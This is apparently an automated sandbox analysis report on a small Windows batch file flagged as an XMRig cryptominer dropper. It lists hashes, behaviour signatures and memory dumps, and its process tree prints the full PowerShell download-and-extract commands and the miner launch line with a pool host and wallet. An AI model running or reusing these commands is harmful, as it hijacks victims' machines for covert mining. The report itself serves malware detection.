Analysis

  • max time kernel
    1798s
  • max time network
    1821s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26-12-2023 09:06

General

  • Target

    tesy - Copy (5).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3892
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5008
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2816

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2816-147-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-137-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-118-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-120-0x0000019C1CD70000-0x0000019C1CD90000-memory.dmp

    Filesize

    128KB

  • memory/2816-119-0x0000019C1CD50000-0x0000019C1CD70000-memory.dmp

    Filesize

    128KB

  • memory/2816-149-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-184-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-183-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-182-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-181-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-180-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-179-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-178-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-177-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-121-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-122-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-124-0x0000019C1CD70000-0x0000019C1CD90000-memory.dmp

    Filesize

    128KB

  • memory/2816-123-0x0000019C1CD50000-0x0000019C1CD70000-memory.dmp

    Filesize

    128KB

  • memory/2816-125-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-126-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-127-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-128-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-129-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-130-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-131-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-132-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-133-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-134-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-135-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-136-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-148-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-138-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-139-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-140-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-141-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-142-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-143-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-144-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-145-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-146-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-163-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-117-0x0000019C1CD10000-0x0000019C1CD50000-memory.dmp

    Filesize

    256KB

  • memory/2816-176-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-150-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-151-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-152-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-153-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-154-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-155-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-156-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-157-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-158-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-159-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-160-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-161-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-162-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-116-0x0000019C1CCC0000-0x0000019C1CCE0000-memory.dmp

    Filesize

    128KB

  • memory/2816-164-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-165-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-166-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-167-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-168-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-169-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-170-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-171-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-172-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-173-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-174-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/2816-175-0x00007FF6541C0000-0x00007FF654CC3000-memory.dmp

    Filesize

    11.0MB

  • memory/3520-10-0x0000020DDB010000-0x0000020DDB020000-memory.dmp

    Filesize

    64KB

  • memory/3520-8-0x0000020DDB2F0000-0x0000020DDB366000-memory.dmp

    Filesize

    472KB

  • memory/3520-9-0x0000020DDB010000-0x0000020DDB020000-memory.dmp

    Filesize

    64KB

  • memory/3520-30-0x00007FFB52FE0000-0x00007FFB539CC000-memory.dmp

    Filesize

    9.9MB

  • memory/3520-25-0x0000020DDB010000-0x0000020DDB020000-memory.dmp

    Filesize

    64KB

  • memory/3520-4-0x0000020DDB240000-0x0000020DDB262000-memory.dmp

    Filesize

    136KB

  • memory/3520-7-0x00007FFB52FE0000-0x00007FFB539CC000-memory.dmp

    Filesize

    9.9MB

  • memory/5008-38-0x000001A8BF8D0000-0x000001A8BF8E0000-memory.dmp

    Filesize

    64KB

  • memory/5008-63-0x000001A8BF8D0000-0x000001A8BF8E0000-memory.dmp

    Filesize

    64KB

  • memory/5008-34-0x00007FFB52FE0000-0x00007FFB539CC000-memory.dmp

    Filesize

    9.9MB

  • memory/5008-37-0x000001A8BF8D0000-0x000001A8BF8E0000-memory.dmp

    Filesize

    64KB

  • memory/5008-89-0x000001A8BF8B0000-0x000001A8BF8BA000-memory.dmp

    Filesize

    40KB

  • memory/5008-76-0x000001A8BFA20000-0x000001A8BFA32000-memory.dmp

    Filesize

    72KB

  • memory/5008-113-0x00007FFB52FE0000-0x00007FFB539CC000-memory.dmp

    Filesize

    9.9MB